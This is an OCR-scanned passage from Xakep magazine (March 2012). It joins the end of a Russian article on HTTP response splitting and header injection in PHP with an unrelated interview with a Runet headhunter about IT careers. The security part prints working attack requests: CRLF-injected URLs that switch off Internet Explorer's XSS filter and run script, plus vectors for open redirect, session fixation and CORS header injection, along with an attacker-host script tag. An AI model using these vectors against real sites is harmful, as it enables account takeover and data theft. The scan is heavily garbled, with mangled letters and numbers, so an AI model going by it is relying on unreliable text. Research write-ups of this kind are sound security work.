ночный CR точно так же, как и всю последовательность CR LF. Вот эт о уже настоя щий резул ьтат, благодаря которому можно

н е только выя в и т ь уязвимость, но и сделать атаки на ее основе

по-настоящему кросс-браузернымиl Отмечу, что, когда я начинал

эти из ы ска н ия, актуальной была 14-я версия Goog le C h гome, дл я

которой также существовал альтернативный байт-разделитеть -

ХАКЕР ОЗ/158/ 201 2

Расщепляй и властвуй

~ Веб localhost:8080/php·smug/index2.php

* 0 Warning: Header may not contain more than а single header, oe\v line detected. in

'1 \indexl.pbp on line 2

Работа фильтра функции headeгll в РНР с 2006 года вызываетта кую ошиб ку

+ ~ Веб localhost8080/ php·smug/index2.php

* 0 Warning: Cookie names can not contain any ofthe foJlo,ving '=,; \t\r\n\013\014' in

'1 \indexl.pbp on line 2

Работа фильтра фун кци и setcookiell по первому аргументу

~ Веб loca lhost8080/ php·smug/ index2.php

* 0 Warning: Cookie values can not contain any ofthe foJlowing ',; \t\r\n\013\014' in

'1 \indexl.pbp on line 2

Работа фильтра функци и setcookiell по второму аргументу

н улл-байт. Информацию об этой уязвимости я отправил произво­

дителю. Ей был присвое н номер 95992 и уровень риска Low [это не позволило мне получить вознаграждение за ее обнаружение,

что, в общем, справедливо - это ведь скорее ба г, чем уязвимость!. В итоге в 15-й версии Хрома нулл-байт уже поправил и, а к моме нту

выхода этой статьи, подозреваю, актуальной будет уже 17-я версия

браузера. F i гefox же остается на высоте, nоскольку реализован

в этой части ровно так, как описано в RFC. Следовательно, ни один из найденных нами способов обхода филыров РН Р для него рабо­

тать не будет.

РАСЩЕПЛЯЕМ ОТВЕТ И ПРОВОДИМ XSS Настало время воспользоваться найденными в фильтре ошибка­

ми и nроэксnлуатировать уязвимости функции headeг[J, то есть провести не посредственную атаку. Здесь перед нами встает

новая проблема - сами браузеры имеют встроенный механизм

защиты от расщепления ответа . Вот как сложно оказывается

порой эксплуатировать с l iепt - sidе-уязвимости: сначала борешь­

ся с фильтрами на серверной стороне, а потом бьешься еще и с

клиентскими.

Итак, расщепление ответ а глав н ым образом основано на пере­

даче ложного заголовка Content-Leпgth, который должен говорить

браузеру, сколько байтов содержится в теле НТТР-ответа. Однако

п ри вызове headeг[J сам РНР отправляет од ин заголовок Coпtent­

Leпgth со значением О, от этого никуда не деться. Таким образом,

классический НТТР Response Splitting [расщеnление НТТР-ответаl работает только тогда, когда браузеры воспринимают второй за­

головок Content-Length как истинно верный. Здесь и начинаются проблемы, поскольку ни один современный браузер так не де­

лает. Тем не менее, можно nровести атаку для lnteгnet Е хрlогег,

воспользовавшись тем, что этот браузер расnознает Н ТМL-код в от­

вете, даже не читая хидер Content-Length. Это более чем странное nоведение имеет место в браузере с 6-й по 9 - ю версию . П ишем

уязвимый РНР-сценарий:

<?php header( "X-Header: aaa" .$_GET ( 'r' ] ); ?>

Затем n роводим атаку nод l nteгnet Е хрlогег посредством вот

такого НТТР-заnроса :

027

Page 30: Xakep 03_2012

COVERSTORY

/index.php?r=foobar%ed<html>%ed<hl>TEST</h l >

Вывод этого с крипта ты сможешь увидеть на соответствую­

щем скриншоте. На первый взгляд, всё уже хорошо. Однако нас

блокирует встроенный в браузер ХSS-фильтр, когда мы пробуем

внедрить воттакой сценарий :

/index .php?r=foobar%ed<html>%ed<script>

alert(/Splitting/)</script>

Пройти такой путь и не получить желаемого результата, упер­

шись в какой-то там фильтр,- это не для нас. Вспоминаем, что мы

можем не только управлять телом ответа сервера, но и внедрять

заголовки. К тому же ХSS - фильтр lпtегпеt Ехрlогег, несмотря на то

что он сильно прибавил в сигнатурах по сравнению с 9-й версией

браузера, всё так же, как и раньше, отключается с помощью специ­

ального заголовка X-XSS-Pгotectioп: О. Ну вот, последний кусочек

пазла встал на место, и теперь можно проводить полноценную

атаку.

Финальный НТТР-запрос к уязвимому сценарию имеет следую­

щий вид:

/index2 .php?r=foobar%edx-xss-Protection:e%ed<html>%ed <script >a lert( /xss/)</script>

ЧЕРЕЗ ТЕРНИИ К ЗВЕЗДАМ Мы начали с чтения RFC, затем заглянули внутрь РНР, потом плав­но перешли к изучению механизмов, применяемых браузерам и для

обработки ответа, и вот, наконец, получили важные результаты.

Мы разобрались с lntегпег Ехрlогег и рассмотрели внедрение за­

головков в НТТР-отв ет. Сам метод не является частным случаем

расщепления ответа, так как при его использовании появляется

только лишний заголовок, а не вторичное тело ответа. А если мы

не внедряем тело ответа, то и проблем с Conteпt-Length у нас тоже

не будет, ведь, согласно RFC, протокол НТТР никак не регулирует количество заголовков . Теn ерь предлагаю nойти дальше и nристу­

пить к изучению других потенциально внедряемых заголовков, тем

более что мы еще не выяснили, как проводить атаку под остальны­

ми браузерам и.

ВНЕДРЯЕМ ЗАГОЛОВКИ Как уже было отмече н о выше, заголовки не влияют на Content­Length, а значит, их можно внедрить в НТТР- ответ для любых

браузеров. В настоящее время существует н емало заголовков для

управления безопасностью, один из которых, X-XSS-Pгotection,

управляющий встроенным ХSS-фильтром l nteгnet Ехрlогег, мы уже

ЗАГОЛОВКИ УПРАВЛЕНИЯ БЕЗОПАСНОСТЬЮ

обсудили. Еще один IЕ'шный заголовок, X-Content-Type-Options, · предоставляю тебе разобрать самостоятельно. Остальные заголов ­

ки для управления безопасностью поддерживаются всеми браузе­

рам и . Однако запомни как аксиому следующее утверждение: заго ­

ловки перезаписываются [за исключением Content-Length). Таким

образом, header("Location: /index.php?lang=" .$_GET[ 'lang' ]) дает полноценную уязвимость Open Rediгect при эксплуатации вектора ?lang=aaa%0dlocation:http://yandex.гu. Как говорится, хотите- верьте, хотите- проверьте. Сейчас я не буду nеречислять

все возможные заголовки lпрочитать о них ты сможешь на соответ­ствующей врезке), а остановлюсь лишь на самых значимых.

Итак, Access-Contгoi-AIIow-Oгigin- это за гол овок, который

работает nочти nод всеми браузерам и, кроме Орега, в том числе

под lnteгnet Ехрlогег 8+, Fiгefox 3.5+, Safaгi 4+ и Google Chгome. Для начала советую ознакомиться с первоисточником lmzl.la/4sгnwml. Как видно, этот заголовок можно использовать с дополнительными

за гол о в ка ми Access-Contгoi-AIIow-Methods, Access - Contгoi-AIIow­

Headeгs, Access-Contгoi-Max-Age и некоторыми другими [снова обрати внимание на приведенную выше ссылку ). Назн аче ни е этих заголовков, думаю, ясно из их названий. Access-Contгoi -AIIow­

Oгigin можно исnользовать как для усиления, так и для ослабления

безоnасности . Всё дело в том, что если этот заголовок не содер ­

жится в ответе, пришедшем от сервера, то доступ через XHR к со­держимому тела такого ответа запрещен. Таким образом, мы можем

внедрить заголовок «Access-Contгoi-AI Iow-O гigin : •" и nрочитать полный ответ со всеми конфиденциальными данными.

ОСМАТРИВАЕМСЯ Итак, мы нашли определенные уязвимости функции headeгll. На­стало время узнать, существуют ли какие-нибудь другие функции,

выnолняющие аналогичную фильтрацию. Собственно, в РНР име­

ется всего три функции, которые занимаются отправ кой заголов­

ков: headeгll, setcookiell и setгawcookiell. В результате недолгого изучения легко выясняется, что две последние функции, так же

как и headeгll, уязвимы в аргументах $path и $domain . Уязвимые аргументы есть, но их модификация пользователем в Приложениях

встречаетс я довольно редко. Обычно от nользовательских nара­

метров зависит только имя или зна чени е куки, но никак не домен

и не путь . Поэтому исследование следует продолжить . В имени

и значениикукивыполняется гораздо более строгая фильтрация,

чем в функции headeгll:

if (name && strpbrk(name, "=,; \t\r\n\el3\el4" ) != NULL) { !* man isspace for \еlЗ and \ el4 */ zeпd_error( E_WARNING, "Cookie names сап not coпtain

any of the followiпg'=,; \\t\\r\\n\\el3\\el4' " );

1. X-Frame-Options. Содержит список доменов, с которых данный сайт может быть загружен

Coпteпt-Security-Policy : allow http://*:80. идентификатор сессии, а затем просто

подождать, пока пользователь авторизуется,

в ifгаmе/fгаmе-контейнер . Для проведения

атаки можно использовать X-Frame-Optioпs :

allow-fгom attacker. 2. X-Content-Security-Policy. Содержит

список доменов, с которых разрешается

загрузка содержимого . Скажем, если сервер

устанавливает в ответе X-Content-Secuгity­

Policy: allow 'self', то код <script src="http://at­

tackeг.com/1.js"><scгipt> работать на странице

не будет. Таким образом, в значении для

проведения атаки необходимо указывать Х-

028

З. Refresh. Старый добрый Refгesh . Дает

внедрение HTML при использовании dаtа­схемы или Open-гedirect : Refresh : 1 ,data:text/

html,<h1>0K</h1>. В таком содержимом Chгome фильтрует scгipt . Но, как бы там ни было,

сценарий выполняется не в целевом домене,

а в той самой data-cxeмe, что не позволяет

злоумышленнику провести XSS. 4. Set-cookie. Его я привожу здесь исключительно для полноты. Используя

этот заголовок, можно установить заранее

готовый lто есть известный злоумышленнику!

и использовать этот заголовок для вторичной

аутентификации. Вектор может выглядеть

примерно следующим образом: foobaг:%0d5et­

C о о k i е: Р Н Р5 Е 551 D= FA К Е D %0d Locat ion=/ auth.php. Разумеется, такая схема будет работать только в том случае, если веб­

приложение после авторизации не отправляет

пользователю новый идентификатор сессии .

На практике 99% РНР-приложений уязвимы для 5ession Fixatioп !именно так называется эта атака!.

ХАКЕР 03/158/2012

Page 31: Xakep 03_2012

TEST Content·Lengtb: 2 Keep-Alive: timeout=5, ma:-;;=1 00 Connectioп: Keep-Alive Content-Typc: textlhtml

IE распознает НТМL-содержимое даже перед Coпteпt-Length, то есть прямо в заголовках

return FAILURE ; } if ( !url_encode && value && strpbrk(value,

",; \t\r\n\013\814" ) != NULL) {

}

/* man isspace for \ 813 and \ 814 */ zend_error( E_WARNING, "Cookie values сап not contain any of the following',; \\t\\r\\n\\813\\814'" );

return FAILURE;

Функция stгpbгkll возвращает ложь, если в первом аргументе присутствует хотя бы один байт из второго аргумента. Как видно,

фильтрация именикукиотличается от фильтрации значения только

одним байтом- символом равенства. Прежде всего мне захотелось

проверить функцию фильтрации. Она является полным аналогом

!вернее, прототипом] РНР'шной stгpbгk l php.su/fuпctioпs/?stгpbrk ] , которая оказалась небинарно совместимой . Казалось, зто победа,

но не тут-то было! Дело в том, что сама встроенная в РНР функция

передачи ответа от сервера такженебинарно совместима, то есть

нулл-байт обрывает стр оку как раз в том месте, где мы могли бы

провести внедрение заголовка или тела ответ а. В итоге брау -

зер получает уже укороченную по нулл-байту строку. Дальше

был фаззинг, много фаззинга . И никаких идей о том, как обойти

фильтрацию, хотя в старых версиях РНР символ= не обрезается.

Новые версии не содержатуязвимости lя проверил их все с 2010 года ] .

ОСОБЕННОСТИ COOKIES Фаззин г всегда дает какой-то результат, пусть даже не совсем тот,

на который рассчитываешь изначально. Эксперименты с фильтра­

цией внутри первых двух аргументов setcookiell и setгawco okiell тоже принесли свои плоды. Я выяснил забавные особенности об­

работки куки в браузерах и хочу рассказать об этих особенностях

в с т атье. Ведь уязвимости вторичны по сравнению с теми метода­

ми, с помощью которых они были найдены. Как гласит китайская

народная мудрость, отдашь свою рыбу- накормишь товарища

на день, научишь его ловить рыбу- накормишь на всю жизнь .

Но хват ит лирики, перейдем непосредственно к результатам.

БЛОКИРУЮЩАЯ ДЛИНА ЗНАЧЕНИЯ КУКИ Если в качестве значения кукису передать больше символов, чем

поддерживает браузер, кукисне проставится. Я воспользовался

этой особенностью, когда мне на практике необходимо было до­биться того, чтобы такой вот код не ставил куки :

<? php setcookie( "param8" , "PREFIX_" .$_GE T[ 'p8' ]); ?>

Для решения этой задачи требуется 4096 символов . Предпо­

лагается, что лишняя длина обрежется. Однако абсолютно все

браузер ы вообще не ставят такие кукисыl Следовательно, если

кукис уже существует, он не п ерезапишется. Это круто помогло при

написании сплойта под уязвимость типа Sessioп Fixatioп. Вот такие

показатели блокирующей длины значениякукиполучаются под

разными браузерам и:

ХАКЕР 03/1 58/20 12

Расщепляй и властвуй

11[~ .tf] http://t~stcom:8080/php·smug/i ndexl.php?rsfoobar%0d <html > %0 Р .. С, Х ' ~ testcom

х Find: j9 1 PI'N~ous Nежт. 1 1 Options .. 1

Conten t-Lenиth: 2 Keep-Alive: timc:ou\-5, max"" IOO Connecrion: Keep-Ative Content-Type: textlhtml

1 lnternet Eжplorer has modified this page to Mlp prevent cross·site кripting.

Срабатывание ХSS-фильтра в IE

chrome 4896 safari 4891-LEN(cookie_name) opera 4896 firefox 4896 iexplore 5116- LEN (cookie_name)

ПЕРЕЗАПИСЬ КУКИ ПРИ ПЕРЕПОЛНЕНИИ ЧИСЛА Как всегда, лучше начать с чтения RFC: www.ietf.oгg/гfc!rfc2109.txt . Особое внимание в этом RFC следует обратить на фразу << at least 20 cookies рег unique host ог domain name». Здесь не говорит-ся четко, следует ли браузерам хранить 20 кукинахост или 20 куки на домен. Пусть сами решают. Видимо, в 1997 - м году это

казалось нормальным, но сейчас, когда существуют монстры

с сотней поддоменов, этот вопрос более чем актуале н.

Итак, когда я прочитал этот RFC, то принялся искать настройки, определяющие максимальное количество к уки в брауэерах, и про­

верять, распространяются ли эти настройки на nоддомены . Вот что

пол училось:

chrome 188 safari -2888/ LEN (cookie_name+cookie_val) opera 68 firefox 149 iexplore 49

Как видно, эти значения не равны 20, но все-таки суще­ственно меньше 10000 :-].Что касается поддоменов, то общее числокукисохраняется только для Орега и Chгome, остальные

ведут отсчеткукиотдельно для каждого поддомена . Ситуация

забавная, потому что можно скинуть куки вышестоящего домена

с нижнего уровня . А можно ... Можно узнать имена куки выше­стоящего домена. РоС этого ба га для О ре га и Chгome фактиче­

ски представляет собой общий скоуп о гр аниченного числа куки.

Что будет, когда с ниже с тоящего домена придет IN+1]-й кукис? Он перезапишет како й -токукис из скоупа. Правильно, а ка-

кой? Самый старый? Нет, в том и при кол, что он выберет кукис

по алфавиту . Пахнет бинарным поиском? Да, именно так! С по­

мощью этой штуки мы можем искать именакукивышестоящего

домена с нижестоящего под Орега и Chгomel Н о писат ь код под

эту задачу муторно и не особенно нужно, ведь в реальной жизни

значения куки куда важнее, чем их имена, которые, как правило,

являются статическими. Итак, подведу итог. Оказывается, мож­

но скидывать куки, если есть возможность проставить много

своих. Иногда для одного домена, иногда также для п оддоменов

ICh гome, Орегаl.

leilii;Jel В завершение статьи я бы хотел призвать тебя nродолжить мое

исследование и начать свое, более современное и интересное.

Надеюсь, мне удалось отразить не только суть различных ба го в

типа НТТР Response Splitting, но и описать сам подход к их п оис­ку и изучению. А если нет- обещаю найти время и си лы , чтобы

написать новые статьи для журнала. На все воnросы no с татье и не только с радостью отвечу в своем благе i oxod . гu ]. Сnасибо за внимание и до новых встречl :Х:

029

Page 32: Xakep 03_2012

COVERSTORY

&ИОГРАФИЯ Окончиnафакультет журналистики МГУ.

Работала редактором 11 главным редактором в раэnичных иэданиях.

Участвовала в соэдании портаnа гabota.ru, вэявwего nремию Рунета.

запустила проект PaбoтalaMa\\.Ru.

Зкс-хантер Ma\\.Ru Gгoup.

Основатель агентства интернет­рекрутмига PRUFFI.

один иэ ведущих экспертов рынка хантинга в рунете.

Page 33: Xakep 03_2012

ИНТЕРВЬЮ С ВЕДУЩИМ ХЕДХАНТЕРОМ РУНЕТА

О РАБОТЕ ХАНТЕРА Многие воспринимают хедхантеров как раз­

датчиков хлеба в блокадном Ленинграде. Все

думают, что если дружить с нами и знать вол­

шебный телефончик ведущего хантера в рунете,

то зто как дополн ительная пай ка хлеба. Ты зна­

ешь продавщицу, и она вроде как может дать

тебе дополнительный сухарик . Н о на самом

деле не может. Более того, во время блокады

за зто расстреливали . Знание этого волшебного

телефона, по сути, ничего не дает.

Бывают дни, когда у меня «сносят» почту.

Буквально недавно у меня три дня не работала

почта, потому что Gmail счел меня каким-то страшным спамером . А случилось зто после

того, как я разместила объявление о том, что

мы ищем людей для Google. :1 В результате пришлось срочно набирать дополнительных

сотрудников, потому что мы не успевали раз­

бирать почту. Пи сьма падали такой лавиной,

что весь PRUFFI сидел и разбирал их неделю .

Количествооткликовоченьзависитотсамой

вакансии. В среднем бывает порядка 50-60 откликов, но доходит и до обвалов. Летом была

вакансия управляющего в венчурный фонд­

пришло около 800 откликов за два дня .

В среднем одну вакансию PRUFFI просматри­вает от 60 000 до 90 000 человек ежеднев­но. То есть я давно уже СМИ. :1

Хантер не является носителем

какой-то супертайны и су­

перэкспертизы. Что до нас

представлял собой средний

хантер? Очень дорогой

костюм, суперджип- все на вор оты.

Он приезжал, выкладывал ай пади к,

айфончик и еще 15 молескинчикав и говорил клиенту: <<Мои услуги стоят

три оклада кандидата, потому что я об­

ладаю офигенной эксnертизой».

Мы заявили, что никакой <<офигенной

экспертизы» не существует. На самом деле

эксперты на рынке- все вы. Для этого мы

nридумали приложение для социальных сетей

PRUFFI Fгiends [apps.facebook.com/pгuffi

ХАКЕР 03/158/201 2

fгiends). Каждый из нас является носи­

телем информации о тех людях, с кото­

рыми работает. Именно вы, а не хантер

сnособны nравильно оценить этих

людей. Вы работаете с ними каждый

день и точно можете сказать, кто есть

кто: вот этому товарищу вообще ничего

нельзя nоручать, а вот этот реально

крутой чувак.

Хантер обычно знает

только публичных людей.

Но большинство технических

сnециалистов - люди неnублич-

ные. Рекрутеру очень трудно до ни х

добраться, потому что они закрыты

внутри комnаний. К nримеру, в мэрии

работает 800 nрограмм истов, но как ты до них достучишься? Как добраться

до того человека, который реально сидит

и кадит nочту каждый день? Это nрактически

невозможно.

Каждый программист знает такого же второ­

го . Он знает, что вот этот- хороший програм­

мер, а этот- <<сачок» и ничего делать не будет.

Мы открываем вам вакансии- рекомендуйте

своих друзей на эти вакансии . Это работа,

а любая работа должна быть оnлачена. Если

она сделана усnешно и мы устроили человека

по вашей рекомендации , мы вам заплатим.

То есть клиент nеречислил нам деньги

за хантинг. Мы , не раскрывая клиента,

рассказали вам о том, что есть такая

замечательная вакансия. Вы кого-то

nорекомендовали и, если хорошо

сделали свою работу, nолучили

вознаграждение 1000 евро. Это кажется нам сnраведливым.

Раньше за рекомендации

никто не платил. Н о в результате нашего

подхода о гр омный объем данных оспе­

циалистах, о профессионалах, вышел

наружу.

РRUFFiпервойсталауказыватьзарпла­

ты в топовом сегменте рунета. То есть

буквально: <<Э та позиция с тоит 400 тысяч рублей в месяц. Эта стоит 600 тысяч рублеЙ >>.

Через нас люди узнали о величине компенса­

ций вице-nреэидентов nорталов: стало nонят­

но, что тоn-менеджеры nолучают от 700 тысяч

Интервью с ведущим хедхантером рунета

АЛЕНА ВЛАДИ М И РСКАЯ

до 1,5 миллионов рублей в месяц.

Раз в квартал мы делаем свои обзоры,

где ставим реальные зарплаты (pгuffi.

гu/analitika) . Цифры , которые мы nри­водим, на 30-40% выше, чем в анали ­

тике от известных рекрутинговых nро­

ектов. Почему? Объясню на nримере .

Мы знаем, что nрограм­

мист на Ruby не может стоить меньше 100 тысяч

рублей, если он не совсем на­

чинающий , так как сейчас это

самое востребованное наnрав­

ление. Когда мы видим вакансию

для RuЬу-nрограммиста за 60 тысяч, мы понимаем, что за такие деньги ком­

пания его не найдет. Однако в обзорах

зарnлат аналитики учиты вают занижен­

ные зарплаты, в результате чего итоговые

цифры получаются недостоверными .

ГДЕ РАБОТАТЬ? Если вы можете идти работатьврунет­

идите в рунет! Ни один сектор не будет так

развиваться , как рунет и IT в целом.

У крупных порталов всегда жуткая нехватка

людей, особенно технических сотрудников .

Это богатые компании, и у них нет ограничений

вроде << в этом году мы воэьмем только 20 чело­век, и не больше!>>. Они берут многих и заин­

тересованы во всех, у кого есть необходимый

уровень комnетенции и адекватность.

Если вы выбираете, чем заниматься в рунете,

и у вас хоть немного математический склад

ума- учитесь программить. Даже если потом

вы не будете nрограммировать, ценность пре­

дакта [Pгoduct Manageг'al, который в прошлом это умел, будет значительно выше- nро­

центов на 30. Почему? Потому, что вы сможете договориться с nрограммистами. Наnрим ер,

я не смогу с ними договориться- любой

nрограммер меня обманет. :1 Он скажет: <<это невозможно» или <<чтобы это сделать, нужно

два года >> [хотя в реале- три дня), и я ему nо­

верю. Если вы разбираетесь в коде, вам будет

значительно легче. И вашей команде тоже.

Рунет долго был закрытой системой, где

вершиной карьеры была работа в Яндексе. То

031

Page 34: Xakep 03_2012

.. COVERSTORY

есть ты шел-шел, и становилось ясно: в конце

концов тебе нужно прийти в Яндекс, начать

там работать- и для тебя это будет санаторий.

Яндекс был чем-то вроде Олимпа! Боги все

сидели в Яндексе. Они именно с таким рас­

четом строили свой НR-бренд: все эти гамаки,

бесплатная еда и прочие бонусы. В коридорах там можно' встретить Илью Сегаловича . При­глашение работать в Яндексе было равносиль­

но тому, что к тебе спустился Зеве и погладил

тебя по голове. :1 И в Яндексе действительно хорошо . Но это давно не единственная воз­

можная конечная точка карьеры.

Перестаньте думать в рамках рунета. Интер­

нет стал международным. В Россию пришли

все ведущие компании, а кто не пришел, тот

придет в течение года. Мы искали сотрудников

для русского Facebook и Google, мы искали для Fouгsquaгe, для Linkedln и многих других компаний. Неважно, придет ли компания сама,

как Linkedln, или купит какую-то другую ком­панию, как это сделал Gгoupon. Присутствие

будет! Поэтому смотри на мир шире, смотри

на мировые тренды- это поможет тебе и в

карьере в том числе.

Я не считаю, что он разделен на нашу Пре­

красную Страну и весь остальной ад. Уверена,

что человеку должно быть интересно работать

и интересно расти, что он сам волен выбирать .

Зарплаты !именно в интернет-сектореl у нас

сейчас сравнимые, а чаще даже выше, чем

на Западе. Если человеку сейчас интересно по­

работать в центре игровой индустрии в Zynga­это понятно, и это его выбор. И если он уезжает

по приглашению Zynga, так как компания здесь не работает,- это тоже его выбор .

Не вижу здесь никакого предательства.

PRUFFI открыла стартапы как точку развития. Но стартапы тоже нужно

разделять. С точки зрения найма

мы выделяем две категории стар­

тапов: с инвестициями до $500 000 и более $500 000. Но это лишь один из критериев. Очень важно объяснить

молодому человеку, который не всегда

сам хорошо это понимает, что не нужно

идти в плохую компанию: там его об­

манут, ничему не научат

и вообще будет стресс,

ад и всё плохо.

Шансов сейчас много! Ты

можешь выбирать направления

для развития. То есть, условно

говоря, если тебя не взяли в Яндекс

-это не конец света . Если сейчас

тебе хочется работать по найму, то

дальше, возможно, захочется открыть

свое дело lи если это будет интернет/IТ, мы, опять же, nоможем!. Потом, если стартап

будет удачным, ты, возможно, продашь бизнес

и вернешься к работе по найму, но уже совсем

на другом уровне . Мы показываем «объемную

картинку», а для многих людей это очень важно .

032

Смотрите на мир с точки зрения «мобиль­

ности». Доступ к интернету с компьютера

уходит в прошлое. Он, конечно, и дальше будет

использоваться для посещения интернет­

ресурсов, но еще год-два, и компьютер

перестанет быть основным устройством

для этого. Такими устройствами ста-

новятся мобильные и планшетники.

Почему это важно с точки зрения

карьеры? Потому, что програм-

мисты, и продакт-менеджеры,

и всё, что сегодня делается для

мобильных платформ liOS, Andгoid, SymЬian, Windows Phonel,- всё востребован но. И будет востребован но. Зарплаты растут по всем

направлениям.

Интернетстановитсявсёболеесегмен­

тированным. Раньше вы могли строить

карьеру следующим образом: сегодня я

РМ IProduct manageri, завтра занимаюсь маркетин гом , послезавтра- снова РМ,

дальше вообще главный редактор. Сей-

час, к сожалению или к счастью, всё больше

требуется узкая специализация. Тот же марке­

тинг начинает делиться на кучу направлений:

вот трафик, вот контент, вот брендинг и так

далее. Надо выбрать одно направление: если

пять лет назад вы могли бы спокойно nерейти

из сегмента брендинга в сегмент, связанн ый

с трафиком, то сегодня это будет довольно

сложно.

Винтернет nришло множество не интернет­

ных компаний. Например, МТС с Omlet.ru, <<Связной» с Enter.ru и т. д.- их очень много.

Они заинтересованы в привлечении

большого количества людей . Денег

у них тоже много, они даже могут вы­

делять внутренние стартапы.

Не бойтесь уезжать учиться по хоро­

шим, интересным зарубежным про­

граммам. Вы всегда сможете вернуться,

если захотите. Но вернетесь более

востребованными. Более того, смо­

жете, скорее всего, поднять там денег

и вернуться уже не в статусе наемно-

го работника, а в статусе создателя

бизнеса. Классический

nример-СергейФаге

и его Ostrovok.ru. Таких примеров довольно много.

По сравнению с объемами

общего бизнеса ниша, связанная

с информационной безопасно­

стью, незначительна и несерьезна.

Спрос на специалистов, эанимающих­

ся информационной безопасностью,

крайне мал. Но то, что он растет,- факт.

Особенность зарождающегося тренда со­

стоит в том, что вилка зарплат чрезвычайно

велика: сумма может варьироваться от очень

небольшой до действительно крупной. Когда

приходят подобные запросы иэ банков, речь

идет о зарплатах от 200 000 рублей и выше . Это понятно- очень большая степень ответствен­

ности. У нас были такие запросы от банков, ко ­

торые проходили, видимо, по верхней границе

диапазона -180-200 тысяч рублей . Порталы

предлагали меньше- порядка 100-120 тысяч . Бывали запросы и от системных

интеграторов, там где-то порядка 140 тысяч . Это цены по Москве.

КАРЬЕРА ПРОГРАММИСТА Сегодня самое прекрасное

-быть программ истом.

Вы понимаете основы бизнеса, основы

профессии, вас легче всего поднимать

и растить. Ведь бизнес- он не про сер­

вера. В основе нашего бизнеса лежит код.

Это и есть платформа. Поэтому, если вы

умеете программить, ваша карьера будет

развиваться настолько, насколько вы за­

хотите расти и насколько этому помешает

личная жизнь.

У программиста много путей развития.

Первый- вы можете всю жизнь любить код.

В таком случае вы сначала становитесь nро­

грамм истом, потом руководителем группы, по­

том руководите разработкой крупного портала.

Это если вы не хотите останавливаться. Или

второй вариант- сначала вы работаете про­

граммистом, а потом РМ'ом технологического

nроекта. Затем делаете свой стартап или, если

это технологическое направление вообще

выделяется в отдельный бизнес при портале,

руководите уже целым направлением. Класси­

ческий пример- Леша Терехов. Его я нашла,

когда он был в маленьком стартапе. Третий ва­

риант- вы можете очень долго расти, а nотом

стать фактически евангелистом какого-либо

наnравления, как Гриша Бакунов в Яндексе.

Ну и конечно, вы можете быть программистом,

прийти в технологическую компанию и дорасти

до ее гендиректора. :1 Это четвертый вариант, и в качестве классического примера здесь

можно nривести Дмитрия Гришина, который

начинал в Molotok.ru, а сейчас занимает пост генерального директора Mail.ru.

ПРО ТРЕНДЫ Нынешние тренды таковы:

1. Ruby- за сезон востребованность програм­

мистов выросла на 86 %, а зарплаты поднялись более чем на 40 %. 2. Всё, что связано с мобильными платформа­ми,- и разработка, и маркетинг.

3. Весь геймдев. 4. Всё, что связано с e-commerce,- вос­

требованность и зарплаты за последний год

выросли более чем на 50%. Это направление особенно востребован но.

Наблюдается острая нехватка разработчи­

ков iOS и Andгoid. Бизнес почувствовал, что мобильные и планшетные устройства начинают

всё активнее использоваться для доступа к ин-

ХАКЕР 03/158/2012

Page 35: Xakep 03_2012

тернету вместо стационарных компьютеров .

Отрасль оказалась к этому не готова ни в плане

количества, ни в плане качества специалистов.

Результат- резкий рост востребованности

и зарплат мобильных разработчиков.

Уменьшается популярность РНР-шников

и Регl-программистов. Если вы занимаетесь

Регl, вероятно, вам нужно подумать, на какой­

то язык переходить. Скорее всего, на Ruby, так как после Регl перейти на «Рельсы>> проще,

чем на С++ или Java.

Интернет-сам по себе тренд. Весь . Всё раз­

летается как горячие пирожки .

ПРО ПЕЧЕНЬКИ Помимо конкурентной зарплаты и интересной

работы, всё чаще предлагают гибкий график.

Это значит, что у тебя есть некоторое количе­

ство <<присутственных дней>>, за которое ты

должен отработать определенное количество

часов в офисе. Это важно, это командная рабо­

та- ты должен с кем-то общаться и так далее.

Всё остальное время ты можешь работать где

хочешь. У тебя просто есть задача, которую ты

должен выполнять.

Компании сейчас много учат и отправляют

на интересные стажировки. Раньше такого

вообще не было: мало кто был заинтересован

в системном обучении своих людей. Сейчас же

компании все чаще стали приглашать зару­

бежных технологических гуру для внутренних

выступлений . Это очень ценно и важно.

На внешней конференции хороший разработ­

чик чаще всего закрыт NDA (Non-disclosuгe agгeement- Соглашение о неразглашении).

Он просто не имеет права задавать многие

вопросы. Все мы на конференциях выглядим

как дураки: ничего ценного сказать не можем,

потому что это может помешать нашему бизне­

су. Поэтому мы говорим какие-то банальности.

Когда такого гуру привозят в компанию, разра­

ботчикам спокойнее- никто ничего не укра­

дет. Они могут спокойно говорить, обсуждать

· какие-то сложные задачи .

Стартапы пришли с модой предлагать опцио­

ны. Раньше получить опцион было очень слож­

но и престижно. Их давали Яндекс, Mail.гu,

и на этом, наверное, можно закончить список.

К сожалению, сейчас на рынок входят стар­

тапы часто с некоторым непониманием. Одно

дело, если ты десять лет работал в Яндексе

и получил некий оп циан, и другое- три меся­

ца что-то покодил в Островке и тоже получил

оп циан. Мне кажется, это неправильно. Оп ци­

ан должен быть очень ценной вещью, иначе

и ценность самой компании как-то падает.

Большое количество компаний сейчас ищут

сотрудников в регионах. Ищут как для фи­

лиалов, так и просто для удаленной работы.

Иногда компании готовы перевезти сотруд-

ХАКЕР 03/158/ 2012

ни ков в Москву и, к примеру, компенсировать

затраты на съем жилья, но нельзя сказать, что

это массовое явление. Однако такие случаи

учащаются.

В любой большой компании всегда есть люди,

которые уже переросли уровень работы

по найму. Это ценные сотрудники: с ними всё

хорошо, но оставить их в наемных сотрудниках

уже невозможно . Не помогут никакие задачи

и никакая зарплата, поскольку они хотят что­

то свое. Дмитрий Гришин из Mail.гu решил:

мы сделаем отдельный инкубатор для таких

людей, дадим им финансирование и не­

обходимую инфраструктуру, чтобы они

могли заниматься своими проекта-

ми . Если у людей в конечном счете

ничего не получается, им снова

предлагают работу по найму. Если же получается, Mail.гu Gгoup по-

могает взлететь этому проекту

максимально высоко. Компа-

ния дает многое, забирает

совсем небольшую долю

и позволяет людям

делать нечто свое. Одним из таких про­

ектов сейчас является сервис микро­

блогов Futubгa lfutubгa.com].

О ПОИСКЕ РАБОТЫ Если человек ищет работу, я сове­

тую размещать резюме везде. Хуже

не будет. Поиск работы- это та же

самая работа. К ней стоит отнестись

ответственно.

Не ленись писать в компании на­

прямую. Составь список компаний ,

которые тебе интересны. Не нужно рассылать

всем стандартное письмо. Напиши , почему

ты хочешь работать именно в этой компании .

Например: << Я хочу в Островок.ру, потому что

считаю этот стартап очень перспективным,

мне нравится, как формируется его команда.

Вообще, мне интересна туристическая тема,

и я люблю программировать на Ruby >> . Вероят­нее всего, тебя позовут поговорить.

Если ты напишешь в 10-15 компаний, то 3-4 пригласят на собеседование. Найти адреса HR совсем несложно : они есть на сайте компаний.

